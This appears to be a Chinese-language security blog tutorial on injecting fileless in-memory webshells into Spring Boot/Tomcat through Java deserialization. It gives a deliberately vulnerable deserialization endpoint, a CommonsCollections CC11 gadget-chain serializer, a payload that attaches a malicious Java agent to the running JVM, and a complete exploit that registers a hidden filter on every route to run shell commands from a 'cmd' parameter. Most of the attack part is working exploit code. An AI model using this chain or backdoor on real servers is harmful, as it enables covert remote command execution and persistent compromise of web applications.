0x01 前提概述
通过前几个内存马的学习我们可以知道,将内存马写在jsp文件上传并不是传统意义上的内存马注入,jsp文件本质上就是一个servlet,servlet会编译成class文件,也会实现文件落地。借用木头师傅的一张图
 
结合反序列化注入内存马是动态注入内存马的常用方法,然而通过反序列化注入的方式没有jsp文件的request内置类,所以获取回显的方式我们也需要考虑,在此写下这篇文章分析总结反序列化注入的方法细节。
0x02 搭建反序列化环境
反序列化就用CC链来打,引入springboot和commons-collections还有javassist库的依赖
| <dependency><groupId>org.springframework.boot</groupId>
 <artifactId>spring-boot-autoconfigure</artifactId>
 <version>2.5.6</version>
 </dependency>
 <dependency>
 <groupId>org.springframework.boot</groupId>
 <artifactId>spring-boot-starter-web</artifactId>
 <version>2.5.6</version>
 <scope>compile</scope>
 </dependency>
 <dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
 </dependency>
 <dependency>
 <groupId>org.javassist</groupId>
 <artifactId>javassist</artifactId>
 <version>3.28.0-GA</version>
 </dependency>
 
 | 
编写一个控制器类,实现一个反序列化入口的路由
| @RequestMapping("/attack")@ResponseBody
 public String evalTest(@RequestParam String data) throws IOException, ClassNotFoundException {
 byte[] decode = Base64.getDecoder().decode(data);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 byteArrayOutputStream.write(decode);
 ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
 objectInputStream.readObject();
 return "Success";
 }
 
 | 
编写springboot的启动程序
| import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;
 import org.springframework.context.annotation.ComponentScan;
 
 @SpringBootApplication
 @ComponentScan("com.controller")
 public class Application {
 
 public static void main(String[] args){
 SpringApplication.run(Application.class);
 }
 }
 
 | 
注入反序列化的话需要类加载,而cc2,cc3和cc11最终都是通过类加载来执行恶意代码,在本篇文章中就用cc11来作例子,cc11的代码逻辑不在分析,可以先看看网上的分析文章。
最后贴上CC1的代码:
| package com.serialize;
 
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.Base64;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Map;
 
 public class CC11SerializeTest {
 public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
 Field field;
 TemplatesImpl templates = new TemplatesImpl();
 byte[] evil = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\test.class"));
 
 field = TemplatesImpl.class.getDeclaredField("_name");
 field.setAccessible(true);
 field.set(templates, "1234");
 
 field = TemplatesImpl.class.getDeclaredField("_bytecodes");
 field.setAccessible(true);
 field.set(templates, new byte[][]{evil});
 
 field = TemplatesImpl.class.getDeclaredField("_tfactory");
 field.setAccessible(true);
 field.set(templates, new TransformerFactoryImpl());
 
 Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
 Map lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), transformer);
 Map tmp = new HashMap<>();
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(tmp, templates);
 
 HashMap<Object, Object>hashMap = new HashMap<Object, Object>();
 hashMap.put(tiedMapEntry, 1);
 
 field = TiedMapEntry.class.getDeclaredField("map");
 field.setAccessible(true);
 field.set(tiedMapEntry, lazyMap);
 
 
 
 
 ByteArrayOutputStream baor = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(baor);
 oos.writeObject(hashMap);
 oos.close();
 System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
 }
 
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("web.ser"));
 out_obj1.writeObject(obj);
 out_obj1.close();
 }
 
 public static  Object unserialize(String Filename) throws IOException, ClassNotFoundException {
 ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
 Object ois = obj2.readObject();
 return ois;
 }
 }
 
 | 
0x03 反序列化注入内存马分析
注入Agent内存马
注入Agent内存马需要加载Agent的jar包,通过 VirtualMachine 类启动后加载Agent.jar,需要满足两个前提操作
VirtualMachine.attach方法获取正在运行的jvm的进程号
loadAgent 方法动态注册代理程序Agent
利用反序列化打的时候对于像 VirtualMachine 的类不能直接new,获取一个 URLClassLoader 类加载器对VirtualMachine 类和 MyVirtualMachineDescriptor 进行类加载
| java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");java.net.URL url = toolsPath.toURI().toURL();
 java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
 Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
 Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
 
 | 
jvm运行的进程号不能直接通过Jps -l获取
VirtualMachine 类有一个list 方法,它的目的是列出当前系统中所有正在运行的 Java 虚拟机(JVM)进程的描述符
 
用if条件判断当前运行的JVM,然后获取进程号,通过反射修改id属性,最后利用反射调用 loadAgent 方法动态注册Agent的jar包,最终的执行类为
| import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import java.io.File;
 import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
 import java.util.List;
 
 public class test extends AbstractTranslet {
 static {
 try {
 System.out.println("Hello");
 String path = "D:\\javaweb\\java\\java-agentShell\\java-agent\\out\\artifacts\\java_agent_jar\\java-agent.jar";
 File toolsPath = new File(System.getProperty("java.home").replace("jre", "lib") + File.separator + "tools.jar");
 URL url = toolsPath.toURI().toURL();
 URLClassLoader classLoader = new URLClassLoader(new URL[] { url });
 Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
 Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
 Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
 List list = (List)listMethod.invoke(MyVirtualMachine, null);
 System.out.println("Running JVM list ...");
 for (int i = 0; i < list.size(); i++) {
 Object o = list.get(i);
 Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
 String name = (String)displayName.invoke(o, null);
 if (name.contains("Application")) {
 Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
 String id = (String)getId.invoke(o, null);
 System.out.println("id >>> " + id);
 Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[] { String.class });
 Object vm = attach.invoke(o, new Object[] { id });
 Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[] { String.class });
 loadAgent.invoke(vm, new Object[] { path });
 Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
 detach.invoke(vm, null);
 System.out.println("Agent.jar Inject Success !!");
 break;
 }
 }
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
 
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
 }
 
 | 
在CC链中动态加载字节码,需要将恶意类继承 AbstractTranslet 接口
启动springboot程序,访问attack路由
将序列化的base64编码打进去
Agent代理是通过字节码修改Filter,添加恶意代码
 
通过控制台日志可以看到已经修改成功了
 
内存马注入成功
 
任何路由都能获得命令回显。
获取request和response注入内存马
jsp文件中内置了 request 和 response 能够直接获取,可以在 response 写我们回显的内容。在通过反序列化注入的时候,我们需要通过一些手段获取到这两个类。
在ApplicationFilterChain类中定义了可以储存 request 和 response 的两个静态变量,分别为lastServicedRequest和lastServicedResponse
 
全局搜索这两个变量,发现一处重要的代码逻辑
 
如果 WRAP_SAME_OBJECT 是为true,lastServicedRequest 和 lastServicedResponse这两个静态变量就将request和response 放进去,在命令执行的时候就可以将执行结果写入回显中了。
首先修改 WRAP_SAME_OBJECT 属性,在 ApplicationDispatcher 类里
 
final字段修饰,不可更改,首先通过反射将 final 字段移除,final 字段通常会存储在 java.lang.reflect.Field类中的modifiers字段,
 
接着就是对lastServicedRequest 和 lastServicedResponse这两个字段初始化,初始化之后这两个字段就会储存Request和Response这两个对象,获取回显应该没太大问题。
剩下的就是动态注册Filter内存马了,Filter内存马之前分析过,在这篇文章就结合木头师傅文章里的EXP说一下流程
首先编写一个恶意的注入类,需要继承 AbstractTranslet 和 Filter 两大接口,前者是为了打CC链时能成功加载字节码,后者是为了动态注入一个恶意的Filter、
定义好参数以及路由
 
接着获取 StandardContext 上下文,这是必须的,使用doFilter方法将我们自定义的过滤器添加进去
在这个方法里
 
this.context.getState() 在运行时返回的state已经是 LifecycleState.STARTED 了,所以直接就抛异常了,filter根本就添加不进去。我们可以在filter添加之前修改state为 LifecycleState.STARTING_PREP ,使其跳过if,添加完成后,再将state恢复成 LifecycleState.STARTED。对应修改的代码
 
filter添加完成后,需要执行 filterStart 方法初始化过滤器,执行的代码
 
贴上完整的EXP
| package com.serialize.javaagent;
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.apache.catalina.LifecycleState;
 import org.apache.catalina.core.ApplicationContext;
 import org.apache.catalina.core.StandardContext;
 
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import javax.servlet.Filter;
 import javax.servlet.FilterChain;
 import javax.servlet.FilterConfig;
 import javax.servlet.ServletContext;
 import javax.servlet.ServletException;
 import javax.servlet.ServletRequest;
 import javax.servlet.ServletResponse;
 
 
 
 
 public class TomcatInject extends AbstractTranslet implements Filter {
 
 
 
 
 private final String cmdParamName = "cmd";
 private final static String filterUrlPattern = "/*";
 private final static String filterName = "Xilitter";
 
 static {
 try {
 ServletContext servletContext = getServletContext();
 if (servletContext != null){
 Field ctx = servletContext.getClass().getDeclaredField("context");
 ctx.setAccessible(true);
 ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
 
 Field stdctx = appctx.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(appctx);
 
 if (standardContext != null){
 
 Field stateField = org.apache.catalina.util.LifecycleBase.class
 .getDeclaredField("state");
 stateField.setAccessible(true);
 stateField.set(standardContext, LifecycleState.STARTING_PREP);
 
 Filter myFilter =new TomcatInject();
 
 
 javax.servlet.FilterRegistration.Dynamic filterRegistration =
 servletContext.addFilter(filterName,myFilter);
 
 
 filterRegistration.setInitParameter("encoding", "utf-8");
 filterRegistration.setAsyncSupported(false);
 
 filterRegistration
 .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
 new String[]{"/*"});
 
 
 if (stateField != null){
 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
 }
 
 
 if (standardContext != null){
 
 Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
 filterStartMethod.setAccessible(true);
 filterStartMethod.invoke(standardContext,null);
 
 
 
 
 
 Class ccc = null;
 try {
 ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
 } catch (Throwable t){}
 if (ccc == null) {
 try {
 ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
 } catch (Throwable t){}
 }
 
 Method m = Class.forName("org.apache.catalina.core.StandardContext")
 .getDeclaredMethod("findFilterMaps");
 Object[] filterMaps = (Object[]) m.invoke(standardContext);
 Object[] tmpFilterMaps = new Object[filterMaps.length];
 int index = 1;
 for (int i = 0; i < filterMaps.length; i++) {
 Object o = filterMaps[i];
 m = ccc.getMethod("getFilterName");
 String name = (String) m.invoke(o);
 if (name.equalsIgnoreCase(filterName)) {
 tmpFilterMaps[0] = o;
 } else {
 tmpFilterMaps[index++] = filterMaps[i];
 }
 }
 for (int i = 0; i < filterMaps.length; i++) {
 filterMaps[i] = tmpFilterMaps[i];
 }
 }
 }
 
 }
 
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 
 private static ServletContext getServletContext()
 throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
 ServletRequest servletRequest = null;
 
 Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
 java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
 f.setAccessible(true);
 ThreadLocal threadLocal = (ThreadLocal) f.get(null);
 
 if (threadLocal != null && threadLocal.get() != null) {
 servletRequest = (ServletRequest) threadLocal.get();
 }
 
 
 
 if (servletRequest == null) {
 try {
 c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
 Method m = c.getMethod("getRequestAttributes");
 Object o = m.invoke(null);
 c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
 m = c.getMethod("getRequest");
 servletRequest = (ServletRequest) m.invoke(o);
 } catch (Throwable t) {}
 }
 if (servletRequest != null)
 return servletRequest.getServletContext();
 
 
 try {
 c = Class.forName("org.springframework.web.context.ContextLoader");
 Method m = c.getMethod("getCurrentWebApplicationContext");
 Object o = m.invoke(null);
 c = Class.forName("org.springframework.web.context.WebApplicationContext");
 m = c.getMethod("getServletContext");
 ServletContext servletContext = (ServletContext) m.invoke(o);
 return servletContext;
 } catch (Throwable t) {}
 return null;
 }
 
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
 throws TransletException {
 
 }
 
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 
 }
 
 @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
 FilterChain filterChain) throws IOException, ServletException {
 System.out.println(
 "TomcatShellInject doFilter.....................................................................");
 String cmd;
 if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
 Process process = Runtime.getRuntime().exec(cmd);
 java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
 new java.io.InputStreamReader(process.getInputStream()));
 StringBuilder stringBuilder = new StringBuilder();
 String line;
 while ((line = bufferedReader.readLine()) != null) {
 stringBuilder.append(line + '\n');
 }
 servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
 servletResponse.getOutputStream().flush();
 servletResponse.getOutputStream().close();
 return;
 }
 filterChain.doFilter(servletRequest, servletResponse);
 }
 
 @Override
 public void destroy() {
 
 }
 }
 
 | 
启动springboot,用CC11的链将恶意类打进去
日志打印出信息,内存马注入成功
 
能够任意路由执行命令
 
参考文章:
http://wjlshare.com/archives/1541